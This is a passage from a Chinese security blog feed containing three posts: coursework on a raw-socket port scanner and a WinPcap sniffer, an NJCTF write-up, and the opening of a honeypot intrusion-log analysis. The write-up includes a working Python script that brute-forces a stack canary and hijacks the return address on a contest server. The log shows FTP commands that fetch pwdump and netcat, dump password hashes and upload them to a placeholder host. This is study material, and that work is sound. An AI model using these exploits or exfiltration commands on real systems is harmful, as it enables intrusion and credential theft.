设计思路</h2><p>最初的设计思路比较简单，就是简单额度使用了connect函数进行连接。调用了connect之后，客户端便会向指定服务器发送一个带有SYN的数据包，然后此时如果此端口没有开放的话，则会返回RST数据包。但是这个过程比较慢，因为connect这个过程在失败的时候，计算机会进行等待。显然这么做是非常低效的。于是这里打算采用<strong>发送FIN数据包</strong>的方式进行端口扫描</p><h3 id="socket-raw">socket raw</h3><p>比起之前提到的两种协议，socket还支持第三种协议:SOCK_RAW,这个协议可以保证让我们自行的构造tcp头部和ip头部。<br>我们这里只选择创建tcp头部，于是我们的socket要改成如下的形式:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">socket(AF_INET, SOCK_RAW, IPPROTO_TCP); </span><br></pre></td></tr></table></figure><p>上述的说法能够让我们自己定义tcp头部(如果要定义ip头部的话，我们需要增加setsockopt这个函数)<br>同时，只有超级用户能够使用socket raw，我们这里调用setuid来提升我们的权限。并且，经测试，<strong>在编译期间也必须给予超级用户的权限，否则的话依然会报错</strong></p><p>struct tcphdr :结构体，可以用来 构成tcp头部。注意当我们手动构造tcp的头部的时候，此时目标地址的port也要提前放入dest_addr(?)<br><img src="/2017/03/13/sniffer%E7%9A%84python%E7%BC%96%E5%86%99/scanner-01.png" alt=""><br>这是头文件中的结构体(看到网上很多地方都没有提到怎么写啊…)，几乎就是直接往这些结构体元素中填入我们指定的值，就能够构成tcp头部。<br><img src="/2017/03/13/sniffer%E7%9A%84python%E7%BC%96%E5%86%99/scanner-02.png" alt=""><br>我们这里只需要随机构造我们的random，完成我们的32bit随机数。<br>并且由于不适用connect，我们需要改成如下函数:<br>int sendto(int s, const void * msg, int len, unsigned int flags, const struct sockaddr * to, int tolen);</p><ul><li>s:socket fd</li><li>msg:传输的信息</li><li>len:传输信息的长度，就是整个报文的长度</li><li>flags：附加说明，没有填0</li><li>to :地址</li><li>tolne：地址的长度(直接sizeof(struct sockaddr_in即可))</li></ul><p>在实验了两天后，发现首先第一个问题是checksum不能错哇。。。不然的话tcp那边不认。。会丢掉这个包的。。。<br>然后，发现发送一个fin包的时候，是不会有任何的回应的（？），于是靠着syn包的回复来进行辨认。。。。</p><h2 id="c编写sniffer">C编写sniffer</h2><h2 id="1-什么是sniffer">1. 什么是sniffer</h2><p>sniffer 在wiki上的解释就是packet analyzer，也就是【包分析】。sniffer可以<strong>拦截</strong>和<strong>记录</strong>经过的数据包。</p><p>换句话说，就是要有</p><ul><li>拦截</li><li>记录</li><li>分析<br>三个功能。<br>换句话说，这个程序的功能就是<strong>记录数据包并且分析其内容</strong>，需要的话<strong>可以拦截数据包传输</strong></li></ul><h2 id="2-系统设计">2. 系统设计</h2><p>大致的过程了解清楚以后，就可以大概设计一下框架了：<br><img src="/2017/03/13/sniffer%E7%9A%84python%E7%BC%96%E5%86%99/sniffer-01.png" alt=""><br>然后参考了他人读的sniffer，加上大致的思考,getPacket,decodePacket应该都会与socket有关系，应该将这两个方法抽象在同一个类里面。<br><img src="/2017/03/13/sniffer%E7%9A%84python%E7%BC%96%E5%86%99/sniffer-02.png" alt=""><br>sniffer必定会处理多个数据包（数据包已经被封装了），所以在Sniffer中必定要有一个记录每一个经过数包的属性。</p><h2 id="3-具体设计">3. 具体设计</h2><p>指明了不给用python 啊好气，看来只能是用C的Winpcap来实现这个过程了。</p><h3 id="获得所有设备">获得所有设备</h3><p>首先我们需要获得所有的ethernet adapter（以太网适配器），这个过程可以使用函数pcap_findalldevs_ex()来实现:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">int pcap_findalldevs_ex ( char *  source,</span><br><span class="line">  struct pcap_rmtauth *   auth,</span><br><span class="line">  pcap_if_t **  alldevs,</span><br><span class="line">  char *  errbuf   </span><br><span class="line">) </span><br></pre></td></tr></table></figure><p>source: 源地址，我们通过设定源地址来指定我们需要监听的地址，比如监听本地的话就是:‘rpcap://’ 监听远程的话就是’rpcap://host:port’ 。其中，宏 <strong>PCAP_SRC_IF_STRING</strong> 就是’rpcap://’。<br>auth: 指定了当前监听的对象权限的路径。如果是本地的话，可以直接设置为空<br>alldevs: 关键参数，如果成功获得设备的话，会给当前指针一个pcap_if_t的链表的头指针。<br>errbuf： 出错参数。这个char*[PCAP_ERRBUF_SIZE]中会包含当前的出错信息。</p><p>关键参数就是这个alldevs，其结构体为pcap_if</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">struct pcap_if *  next</span><br><span class="line">  指向下一个pcap_if,如果是最会后一个则返回NULL</span><br><span class="line">char *  name</span><br><span class="line">  获得当前设备的名字</span><br><span class="line">char *  description</span><br><span class="line">  如果不为空的话，返回当前设备的基本信息(比如VMWARE ADAPTER那种)</span><br><span class="line">struct pcap_addr *  addresses</span><br><span class="line">  指向地址链表接口中的第一个地址</span><br><span class="line">u_int   flags</span><br><span class="line">  符号位，唯一可能的值是PCAP_IF_LOOPBACK, 只有在当前的设备是回环设备的时候设置</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="释放设备">释放设备</h3><p>void pcap_freealldevs(pcap_if_t** alldevs);<br>用于释放当前获得的设备</p><h3 id="获得指定设备">获得指定设备</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pcap_t* pcap_open ( const char *  source,</span><br><span class="line">int   snaplen,</span><br><span class="line">int   flags,</span><br><span class="line">int   read_timeout,</span><br><span class="line">struct pcap_rmtauth *   auth,</span><br><span class="line">char *  errbuf   </span><br><span class="line">) </span><br></pre></td></tr></table></figure><p>snaplen: 制定要捕获数据包中的哪些部分。 在一些操作系统中 (比如 xBSD 和 Win32)， 驱动可以被配置成只捕获数据包的初始化部分： 这样可以减少应用程序间复制数据的量，从而提高捕获效率。如果将值定为65535，它比我们能遇到的最大的MTU还要大。因此总能收到完整的数据包。</p><p>flags: 最最重要的flag是用来指示适配器是否要被设置成混杂模式(promiscuous,宏为PCAP_OPENFLAG_PROMISCUOUS )。 一般情况下，适配器只接收发给它自己的数据包， 而那些在其他机器之间通讯的数据包，将会被丢弃。 相反，如果适配器是混杂模式，那么不管这个数据包是不是发给机器，机器都会去捕获。这意味着在一个共享媒介(比如总线型以太网)，WinPcap能捕获其他主机的所有的数据包。 大多数用于数据捕获的应用程序都会将适配器设置成混杂模式。</p><p>to_ms:指定读取数据的超时时间，以毫秒计(1s=1000ms)。在适配器上进行读取操作(比如用 pcap_dispatch() 或 pcap_next_ex()) 都会在to_ms 毫秒时间内响应，即使在网络上没有可用的数据包。 在统计模式下，to_ms 还可以用来定义统计的时间间隔。 将to_ms 设置为0意味着没有超时，那么如果没有数据包到达的话，读操作将永远不会返回。 如果设置成-1，则情况恰好相反，无论有没有数据包到达，读操作都会立即返回。</p><p>pcap_open()函数的返回类型为 pcap_t * ,在引用时我们需要先声明一个pcap_t 类型的指针。这个函数将会返回当前的设备。并且在获得当前设备后，我们就能够释放掉其他的设备。</p><h3 id="监听是否得到数据包-回掉函数">监听是否得到数据包(回掉函数)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pcap_loop(pcap_t *  p,</span><br><span class="line">          int   cnt,</span><br><span class="line">          pcap_handler  callback,</span><br><span class="line">          u_char *  user   </span><br><span class="line">) </span><br></pre></td></tr></table></figure><p>p: 当前设备的句柄<br>cnt: 指定收到多少的数据包就停止检测。如果我们设置为0，那么将会一直接受数据包<br>user: 指定的操作者（？）<br>callback: 关键参数，用于存放回调函数，回调函数的格式为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)</span><br></pre></td></tr></table></figure><p>param: 传入的各类参数(?)<br>header: 捕捉的数据包的头部<br>pkt_data: 数据包的内容<br>数据包头中会记录相关的时间信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">struct pcap_pkthdr &#123;</span><br><span class="line">  struct timeval ts;  /* 时间戳 */</span><br><span class="line">  bpf_u_int32 caplen; /* 部分长度 */</span><br><span class="line">  bpf_u_int32 len;  /* 数据包总长度 */</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>为了获得可读取的时间，我们需要对header中的时间参数进行修改:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">time_t local_tv_sec = header-&gt;ts.tv_sec;</span><br><span class="line">localtime_s(&amp;ltime, &amp;local_tv_sec); // 将时间转换成一个结构 体，其中存放了时间的参数</span><br><span class="line">strftime(timestr, sizeof timestr, &quot;%H:%M:%S&quot;, &amp;ltime); // 将时间转换成固定格式</span><br></pre></td></tr></table></figure><h3 id="监听是否得到数据包">监听是否得到数据包</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int pcap_next_ex  ( pcap_t *  p,</span><br><span class="line">    struct pcap_pkthdr **   pkt_header,</span><br><span class="line">    const u_char **   pkt_data   </span><br><span class="line">) </span><br></pre></td></tr></table></figure><p>p: 设备句柄<br>pkt_header: 包的时间信息与长度的指针<br>pkt_data: 包收到的数据的指针</p><p>返回值:<br>1 成功读取数据<br>0 经过了在pcap_open_live() 设置的存活时间. 此时 pkt_header 和 pkt_data 将不会指向一个有效的包<br>-1 发生了错误<br>-2 此时读到了捕捉器的末尾(?)</p><p>在能够抓取到数据包后，我们应该尝试的解析数据包中内容。winpcap能够抓到的最上层的报头为链路层报头，于是乎我们还得复习一下链路层的帧的结构:<br><img src="/2017/03/13/sniffer%E7%9A%84python%E7%BC%96%E5%86%99/sniffer-03.png" alt=""></p><h2 id="实现里面遇到的那些坑">实现里面遇到的那些坑</h2><h2 id="1-ssh数据包？">1. ssh数据包？</h2><p>一开始做实验的时候，发现无论怎么发送请求，都会返回数据包，仔细研究了NNNN久之后，意识到我是用ssh连接上去的，然后这个ssh呢，自然也是有数据包的。。。。</p><h2 id="2-防火墙的安全起见">2. 防火墙的安全起见</h2><p>这个也是一个大坑。当我快要完成的时候，我发现无论怎么发送数据包到主机，都不能成功。后来在大佬同学的指点下，才知道windows的防火墙会过滤掉这种数据包，只有在关闭了防火墙我才能够继续发送请求。。</p><h2 id="3-bind-std-bind">3. bind?std::bind?</h2><p>这个是帮同学调试数据传输的时候遇到的问题。C++的std下有一个函数也叫bind，而且作用是绑定一个函数形成函数指针，而winsock2下的bind是用来绑定端口的地址的，然后，在漫长的调试之后，终于发现了这个事情。。。所以当我们使用winsock2的bind时，应该写作：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">::bind();</span><br></pre></td></tr></table></figure><h2 id="4-ex的winpcap">4. EX的Winpcap</h2><p>由于windows下不能使用socket而准备使用的winpcap，如果要使用官方的例子的代码的话，就必须要在引入pcap.h之前，加入***#define HAVE_REMOTE**的宏定义，否则很多函数就会出现未定义的提示</p><p>参考博客:<br><a href="http://blog.csdn.net/tigerjibo/article/details/6764613">http://blog.csdn.net/tigerjibo/article/details/6764613</a><br><a href="http://blog.csdn.net/cqcre/article/details/39924789">http://blog.csdn.net/cqcre/article/details/39924789</a><br><a href="http://blog.csdn.net/u010487568/article/details/39329791">http://blog.csdn.net/u010487568/article/details/39329791</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;网络安全大作业之一，乘机好好学一波网络相关知识(由于这篇文章本来是针对python 写的，但是后来得知要求是用C来完成sniffer。。。。。于是这里先从简单的scanner进行编写:)&lt;/p&gt;
&lt;h2 id=&quot;more-c编写scanner&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="网络安全" scheme="https://showlinkroom.me/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="C" scheme="https://showlinkroom.me/tags/C/"/>
    
  </entry>
  
  <entry>
    <title>NJCTF</title>
    <link href="https://showlinkroom.me/2017/03/12/NJCTF/"/>
    <id>https://showlinkroom.me/2017/03/12/NJCTF/</id>
    <published>2017-03-12T02:17:45.000Z</published>
    <updated>2020-07-16T13:31:30.394Z</updated>
    
    <content type="html"><![CDATA[<p>今年有幸跟着大佬们参加了NJCTF(当然个人贡献肯定为0啦大佬们做的太快了QvQ)，在wp出来之前先记录一下自己做了的.</p><span id="more"></span><h2 id="misc-150pt">Misc 150pt</h2><p>这一题拿到就发现有四个文件:</p><ul><li>cipher.txt</li><li>encrypt.c</li><li>flag.txt</li><li>plain.txt<br>其中会发现，plain.txt里面写了一堆明文:</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Relax!This is just a test!</span><br><span class="line">NJCTF&#123;N0_WH4t_TH3He11_ExE&#125;</span><br><span class="line">Oh,shit!!Did I release the flag?!!!</span><br></pre></td></tr></table></figure><p>肯定就不是flag啦！发现flag.txt，cipher.txt里面的文本为乱码，其中cipher.txt用winhex查看后发现正好字数和plain.txt一样，所以可以猜测使用了encrypt.c加密过。这个文件里面内容为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (argc != <span class="number">3</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;USAGE: %s input_file output_file\n&quot;</span>, argv[<span class="number">0</span>]);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    FILE* input_file  = fopen(argv[<span class="number">1</span>], <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    FILE* output_file = fopen(argv[<span class="number">2</span>], <span class="string">&quot;wb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (!input_file || !output_file) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Error\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">char</span> key[] = <span class="string">&quot;XXXXXXXXXXXX&quot;</span>;</span><br><span class="line">    <span class="type">char</span> p, t, c = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ((p = fgetc(input_file)) != EOF) &#123;</span><br><span class="line">        c = ((key[i % <span class="built_in">strlen</span>(key)] ^ t) + (p-t) + i*i ) &amp; <span class="number">0xff</span>;</span><br><span class="line">        t = p;</span><br><span class="line">        i++;</span><br><span class="line">        fputc(c, output_file);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>果然key没有告诉。所以这里只需要我们将plain.txt和cipher.txt进行运算将key求出来，最后再将flag.txt解密即可。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">    <span class="type">char</span> key[<span class="number">90</span>] ;</span><br><span class="line">    <span class="type">char</span> p, q, c = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ((p = fgetc(plain_file)) != EOF) &#123;</span><br><span class="line">        q = fgetc(cypher_file);</span><br><span class="line">        <span class="comment">// c = ((key[i % strlen(key)] ^ t) + (p-t) + i*i ) &amp; 0xff;</span></span><br><span class="line">        key[i] = (q - i*i + c - p)^c;</span><br><span class="line">        c = p;</span><br><span class="line">        i++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%s\n&quot;</span>, key);</span><br><span class="line"></span><br><span class="line"><span class="comment">//------------------以上求key--------------------------</span></span><br><span class="line">    <span class="type">char</span> key[] = <span class="string">&quot;OKIWILLLETYOUKNOWWHATTHEKEYIS&quot;</span>;</span><br><span class="line">    <span class="type">char</span> p, t, c = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ((c = fgetc(input_file)) != EOF) &#123;</span><br><span class="line">        p = (c - ((key[i % <span class="built_in">strlen</span>(key)] ^ t) - p + i*i )) &amp; <span class="number">0xff</span>;</span><br><span class="line">        t = p;</span><br><span class="line">        i++;</span><br><span class="line">        fputc(p, output_file);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>求得key为NJCTF{N0w_You90t_Th1sC4s3}(不知道是不是对的。。因为有几个地方乱码了)</p><h2 id="pwn-100pt">PWN 100pt</h2><p>发现没有给文件！居然是个盲注！<br><img src="/2017/03/12/NJCTF/NJCTF_pwn01.png" alt=""><br>这个第一次玩啊。。。这里问了大佬，大佬说用暴力破解的方式找到对应的access code，发现是22，然后输入22后变成<br><img src="/2017/03/12/NJCTF/NJCTF_pwn02.png" alt=""><br>这就有意思了。。然而这个echo *,发现目录下的确是有一个flag，但是怎么读取就想不到了。。。</p><h2 id="pwn-150pt">PWN 150pt</h2><p>分析后发现，这个居然是把这道题目完整的代码（包括网络通信部分）给出来了：<br><img src="/2017/03/12/NJCTF/NJCTF_pwn03.png" alt=""><br>然后仔细看黄色标注的部分，我们在接受到数据之后，会fork一个进程（不然其他人的就卡死了呀）<br><img src="/2017/03/12/NJCTF/NJCTF_pwn04.png" alt=""><br>仔细看黄色部分，父进程是一直在保留的。我们复习一下啊fork的过程:</p><pre><code>当fork的时候，子进程得到与父进程用户级虚拟地址空间**相同**(但是独立的)的拷贝,包括文本，数据和bss段、堆以及用户栈。子进程还会获得与父进程任何打开文件描述符相同的拷贝。</code></pre><p>也就是说，此时的<strong>栈空间</strong>中的数据可以理解成是不变的。然后在recv_message函数中，可以找到溢出<br><img src="/2017/03/12/NJCTF/NJCTF_pwn05.png" alt=""><br>但是开启了canary。。。本来可能真的要放弃，但是！我们刚刚提到了，<strong>父进程一直在跑</strong>，那么就可以理解成<strong>栈中的数据在始终还是维持不变的</strong>,那么我们就能够通过猜测canary的方式，把canary本身猜测出来。加上在代码开始（截图中没截出来），就发生了一次打开flag.txt并读取数据的操纵。那么我们就能够通过修改send函数的参数，从而拿到flag。<br>由于虚拟机炸了，没有强力pwntools的我和咸鱼一样了。。。。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> telnetlib</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;218.2.197.234&quot;</span></span><br><span class="line">port = <span class="number">2090</span></span><br><span class="line"><span class="comment"># url = &quot;127.0.0.1&quot;</span></span><br><span class="line"><span class="comment"># port = 5555</span></span><br><span class="line">canary = [<span class="number">0</span>, <span class="number">16</span>, <span class="number">234</span>, <span class="number">76</span>, <span class="number">161</span>, <span class="number">17</span>, <span class="number">196</span>, <span class="number">184</span>]</span><br><span class="line">send_addr = <span class="string">b&#x27;\xC6\x0B\x40\x00\x00\x00\x00\x00&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">findCanary</span>():</span><br><span class="line"></span><br><span class="line">    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">    t = telnetlib.Telnet(url, port = <span class="number">2090</span>)</span><br><span class="line">    s.connect((<span class="string">&quot;218.2.197.234&quot;</span>, <span class="number">2090</span>))</span><br><span class="line">    t.sock = s</span><br><span class="line">    <span class="comment"># print(s.recv(1024))</span></span><br><span class="line">    s.recv(<span class="number">1024</span>)</span><br><span class="line">    canary = []</span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">len</span>(canary)&lt;<span class="number">8</span>:</span><br><span class="line">        <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">256</span>):</span><br><span class="line">            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">            t = telnetlib.Telnet(url, port = <span class="number">2090</span>)</span><br><span class="line">            s.connect((<span class="string">&quot;218.2.197.234&quot;</span>, <span class="number">2090</span>))</span><br><span class="line">            t.sock = s</span><br><span class="line">            <span class="built_in">print</span>(s.recv(<span class="number">1024</span>))</span><br><span class="line">            t.write(<span class="string">b&quot;a&quot;</span>*<span class="number">104</span> +<span class="built_in">bytes</span>(canary + [x]))</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Message received!&quot;</span> <span class="keyword">in</span> s.recv(<span class="number">1024</span>).decode(<span class="string">&quot;utf-8&quot;</span>):</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;[+] x is %d&quot;</span>%(x))</span><br><span class="line">                canary.append(x)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="built_in">print</span>(canary)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span><br><span class="line"></span><br><span class="line">    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">    t = telnetlib.Telnet(url, port)</span><br><span class="line">    s.connect((url, port))</span><br><span class="line">    t.sock = s</span><br><span class="line">    <span class="built_in">print</span>(s.recv(<span class="number">1024</span>))</span><br><span class="line">    <span class="comment"># s.recv(1024)</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># =============== padding =================</span></span><br><span class="line">    t.write(<span class="string">b&quot;a&quot;</span>*<span class="number">104</span>+<span class="built_in">bytes</span>(canary) + <span class="string">b&#x27;a&#x27;</span>*<span class="number">8</span> + send_addr)</span><br><span class="line">    time.sleep(<span class="number">2</span>)</span><br><span class="line">    <span class="comment"># t.interact()</span></span><br><span class="line">    <span class="built_in">print</span>(s.recv(<span class="number">1024</span>))</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="comment"># findCanary()</span></span><br><span class="line">    pwn()</span><br></pre></td></tr></table></figure><p>最后拿到flag:<br>NJCTF{C4n4ry_15_s0_vuln3ri4613_49457_bru73-f0rc3}</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;今年有幸跟着大佬们参加了NJCTF(当然个人贡献肯定为0啦大佬们做的太快了QvQ)，在wp出来之前先记录一下自己做了的.&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://showlinkroom.me/categories/CTF/"/>
    
    
    <category term="Reverse" scheme="https://showlinkroom.me/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>网络安全大作业1--蜜罐攻击记录</title>
    <link href="https://showlinkroom.me/2017/03/08/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A1-%E8%9C%9C%E7%BD%90%E6%94%BB%E5%87%BB%E8%AE%B0%E5%BD%95/"/>
    <id>https://showlinkroom.me/2017/03/08/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A1-%E8%9C%9C%E7%BD%90%E6%94%BB%E5%87%BB%E8%AE%B0%E5%BD%95/</id>
    <published>2017-03-08T03:21:53.000Z</published>
    <updated>2020-07-16T13:31:30.435Z</updated>
    
    <content type="html"><![CDATA[<p>问某dalao同学要来的大作业1，这里记录研究过程:</p><span id="more"></span><h2 id="网络安全大作业1-蜜罐记录">网络安全大作业1–蜜罐记录</h2><p>本实验中所用的操作系统：Windows 7旗舰版 SP1。来自200.1.x.y（假设的IP）的攻击者成功攻陷了一台部署有蜜罐系统的主机222.200.p.q（假设的IP），蜜罐主机记录了入侵过程，入侵数据经提取并经简化处理后的脚本代码如下所示。其中，www.unknown.net是假设的域名。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line">echo werd &gt;&gt; c:\fun</span><br><span class="line">echo user johna2k &gt; ftpcom</span><br><span class="line">echo hacker 2000 &gt;&gt; ftpcom</span><br><span class="line">echo get samdump.dll &gt;&gt; ftpcom</span><br><span class="line">echo get pwdump.exe &gt;&gt; ftpcom</span><br><span class="line">echo get nc.exe&gt;&gt;ftpcom</span><br><span class="line">echo quit&gt;&gt;ftpcom</span><br><span class="line">ftp –s:ftpcom -nwww.unknown.net</span><br><span class="line">pwdump.exe&gt;&gt;new.pass</span><br><span class="line"></span><br><span class="line">echo userjohna2k &gt; ftpcom2</span><br><span class="line">echo hacker2000&gt;&gt;ftpcom2</span><br><span class="line">put new.pass&gt;&gt;ftpcom2</span><br><span class="line">echo quit&gt;&gt;ftpcom2</span><br><span class="line">ftp -s:ftpcom2 –n  www.unknown.net      </span><br><span 